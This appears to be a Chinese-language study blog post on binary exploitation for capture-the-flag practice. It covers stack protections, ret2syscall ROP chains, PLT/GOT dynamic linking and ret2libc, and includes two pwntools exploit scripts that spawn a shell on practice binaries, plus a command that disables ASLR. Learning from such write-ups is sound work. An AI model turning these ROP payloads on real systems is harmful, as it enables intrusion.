这次对上一篇补充一些内容以及着重于理解

内存保护措施#

• canary

  canary是金丝雀的意思。在函数返回值之前添加的一串随机数（不超过机器字长），末位为/x00（提供了覆盖最后一字节输出泄露canary的可能），如果出现缓冲区溢出攻击，覆盖内容覆盖到canary处，就会改变原本该处的数值，当程序执行到此处时，会检查canary值是否跟开始的值一样，如果不一样，程序会崩溃，从而达到保护返回地址的目的。一种很强硬的保护措施，就是在中间强插一块数据，前后对比

• NX

  NX即No-eXecute（不可执行）的意思，NX（DEP）的基本原理是将数据所在内存页标识为不可执行，当程序溢出成功转入shellcode时，程序会尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址，然后加入shellcode，NX策略是使栈区域的代码无法执行。更强硬，直接不给你执行权限，即使溢出也无法执行攻击代码

• PIE

  PIE（ASLR），内存地址随机化机制（address space layout randomization)，有以下三种情况 0 - 表示关闭进程地址空间随机化。 1 - 表示将mmap的基址，stack和vdso页面随机化。 2 - 表示在1的基础上增加栈（heap）的随机化。 该保护能使每次运行的程序的地址都不同，防止根据固定地址来写exp执行攻击。 打乱程序在内存内的地址

  liunx下关闭PIE的命令如下： sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

• RELRO

  Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种，Partial RELRO 和 Full RELRO，即 部分RELRO 和 完全RELRO。

  部分RELRO 是 GCC 的默认设置，几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。

  完全RELRO 使整个 GOT 只读，从而无法被覆盖，但这样会大大增加程序的启动时间，因为程序在启动之前需要解析所有的符号。

ret2syscall#

什么是系统调用？#

• 操作系统提供给用户的编程接口
• 是提供访问操作系统所管理的底层硬件的接口
• 本质上是一些内核函数代码，以规范的方式驱动硬件
• x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用

讲人话我感觉就是，我们写程序system("/bin/sh")，这是系统里自带的。可是系统读取到此代码时，内部是如何调用system的？系统内部有一套代码对应这些函数，系统运行代码时就叫系统调用。而rop就是当程序内没有普通栈溢出条件时，我们利用一些碎片组成那一套系统内的代码，运行后就相当于执行了那个函数。

举个例子，你驾驶播种机去播种，播种机原理是将土翻开，向里面撒种子再将土埋上；但是，现在你没有播种机了，你用手把土翻开，撒种子，再埋土。这就叫系统调用，直接走它内部的流程。

比如我要执行execve("/bin/sh",NULL,NULL)，程序内并没有现成的代码供我们溢出跳转，所以我们执行此行代码的系统调用即可，已知此行代码对应系统调用为：

1mov eax, 0xb
2mov ebx, ["/bin/sh"] 
3mov ecx, 0
4mov edx, 0
5int 0x80

ROP跳转机制#

这里还需要了解rop的跳转机制

左边是程序原本的栈，普通栈溢出只需要将return address部分覆盖为需要的函数地址，但是没有现成函数时，我们需要进行系统调用。按照上面的代码，首先跳到进行给eax赋值的代码，先给eax赋以0xb，再跳转到给ebx赋值的地方，给ebx赋以/bin/sh，再跳转到ecx，给ecx赋以0，再跳转到edx，给edx赋以0，再跳转到int 0x80的位置，完成系统调用。

再解释一下相应汇编指令，pop用于给寄存器赋值，赋值用的参数是在下一个字长，pop将下一个字长里的数据弹出到寄存器，ret是将下下个字长的数据弹出到eip，eip是用于存储下一条命令用的寄存器，所以下一个命令就运行下下个字长那里。

此时再看上图中间的栈帧结构就清晰很多了，首先溢出溢出溢出，将return address覆写为pop_eax_ret的地址，这句将下一个字长里的0xb弹出到eax里，然后ret指令将下下个字长里的pop_ebx_ret地址弹出到eip里，这句结束。到了下一句pop_ebx_ret，原理同上所述。随后程序运行到最后一句int 0x80那里结束，此段系统调用等于执行了execve("/bin/sh",NULL,NULL)

ROPgadget命令用于寻找代码片段，--binary指令用于指定在哪个程序里寻找，--only "pop|ret"是只寻找含有pop和ret指令同时存在的片段，grep eax是在前面的结果中搜索含有eax的片段

例题#

ret2syscall

即使PIE和canary关了，由于开了NX，所以无法执行栈上的代码，而已缺少现成函数，我们也无法直接溢出跳转，到这就可以想到ret2syscall了

exp：

1from pwn import *
2io=process('./ret2syscall')
3pop_eax_ret=0x080bb196
4pop_edx_ecx_ebx=0x0806eb90
5int_0x80=0x08049421
6bin_sh=0x080BE408
7payload=flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx,0,0,bin_sh,int_0x80])
8io.sendline(payload)
9io.interactive()

这个exp写出来我自己也挺意外的，地址不用打包？

动态链接过程#

上个例题大小七百多k，IDA打开时函数区一大堆函数，因为它是静态编译的，将此程序需要用到的各种库全部打包在一个程序里，这些个库自身里就有着非常多的函数。为什么我们能找到那么多的碎片？就是因为有着这些包含大量代码的库存在。

静态编译的程序很大，运行起来与动态的一模一样。动态编译的程序所用的库是动态链接库，这些库在操作系统里就有，程序运行时直接引用就行了，所以程序自身文件很小。那么很容易想到，倘若系统里缺少相应的动态链接库，则此程序无法运行。由于动态编译的程序特性，IDA打开时函数区只包含与当前程序直接相关的函数，所以ROPgedget找到的碎片也很少。

动/静链接引用点#

动态链接相关结构#

• .dynamic section

  提供动态链接相关信息

• link_map

  保存进程载入的动态链接库的链表

• __dl_runtime_resolve

  装载器中用于解析动态链接库中函数的实际地址的函数

动态链接调用函数流程#

调用libc中的foo函数

首次调用foo函数

跳转到.plt表中的foo表项，.plt中代码跳转到.got.plt中记录的地址

由于进程是第一次调用 foo，故 .got.plt 中记录的地址是 foo@plt+6

回到 .plt 是为了解析 foo 的实际地址

跳转到 .plt 头部为 __dl_runtime_resolve 函数传参

__dl_runtime_resolve 函数解析 foo 的真正地址并填入 .got.plt 中

此后 .got.plt 中保存的是 foo 的真实地址

进程第二次调用 foo

直接自 .got.plt 跳转到 foo 的真实地址，没有了第一次的解析地址过程

流程图如下

简而言之，就是第一次去调用函数，先到plt中找表项然后跳转到got（.got.plt）里找真实地址，got里没有就返回到plt，让他自己去解析真实地址，解析完写到got里。第二次调用时，去plt里找表项然后跳转到got表里就可以直接获取真实地址。取地址从plt里取就行了，反正第几次调用都还是要返回真实地址的。

info b查看断点信息

d 1，删除编号为1 的断点。

distance 地址 地址，计算地址间距

backtrace ，查看函数调用栈

return，从函数中出来

ret2libc1#

ret2syscall是调用系统的汇编指令完成系统调用构造链子，而ret2libc是调用libc里的函数，将这些函数连成链子。

简单rop链#

如图rop链在栈内表示图

图中函数是从libc里取出的，如system，exit。system参数是"/bin/sh"，返回地址是exit，exit参数是0，返回地址是"/bin/sh"，所以这段链子执行如下代码

1system("/bin/sh")
2exit(0)

参数位置#

为什么参数在函数上第二个字长？第一个却是返回地址？

因为父函数在调用子函数的时候，使用call调用，父函数本来就保存子函数的参数，调用时又会将子函数的返回地址也压入栈，所以通常认为，返回地址（包含返回地址）以上是属于父函数的。

如图虚线以上认为是父函数，往下是子函数

那子函数是如何找到自己的参数的呢？在上篇说过被调用函数局部变量压入栈，如下图

Local address即被调函数局部变量，上面是调用函数的栈底，这几步又是如何完成的？

拿上面的代码为例，最开始的栈溢出，溢出到返回地址，在这个示例代码里溢出到system，这个返回操作到system即ret system。此时system被弹到eip寄存器，随后进入system代码。被调函数，第一行往往是push ebp，也就是把ebp压入栈，随后将本地变量压入栈。可是变量是保存在父函数的，根据调用约定，本地变量会向上去寻找参数，也就是父函数里的/bin/sh。调用完，system结束跳到返回地址exit，此时exit同理，往上第二个字长里的数据为参数。

栈平衡#

实际上，倘若有多个函数连续调用，往上两个字长就不是参数了，可能是函数，如

1exit
2gets
3puts
4system

这种是怎么调用呢？若真这样调用，程序会出错，所以需要栈平衡，在每次调用函数后都会有一条pop ret指令，函数被调用后，往上两个找参数，结束了，跳到返回地址也就是pop ret，这条指令会把刚才用的参数pop掉也就是扔掉，然后ret到下一条函数。一直下去，这样的话连续调用多少条函数都没事，这就是栈平衡的链子，通常两个函数就够了，所以大多数都是简化的，下图是完整版

一般连续俩函数，用的都是简化的，满足往上两个字长能找到参数就行的那种。

例题#

ret2libc1

这道题是最简单的ret2libc题，它预先准备了secure函数，这个函数没有实际意义，但是这个函数调用了system函数，这也就意味着可以直接从plt表里获取system函数的真实地址。而且这题的\bin\sh也给了，IDA可以直接看，也可以用pwntools里相应方法获取。

exp：

1from pwn import *
2io=process("./ret2libc1")
3elf=ELF("./ret2libc1")
4system_plt=elf.plt["system"]
5binsh_addr=next(elf.search(b"/bin/sh"))
6payload=flat([b'A'*112,system_plt,"AAAA",binsh_addr])
7io.sendline(payload)
8io.interactive()

exp有个地方实操时一直无法获取plt的system，警告说是unicorn模块有问题，我安装了也不成，好像是安装方法有问题，后来更新了pwntools，它自动补全了好多包，然后exp就通了。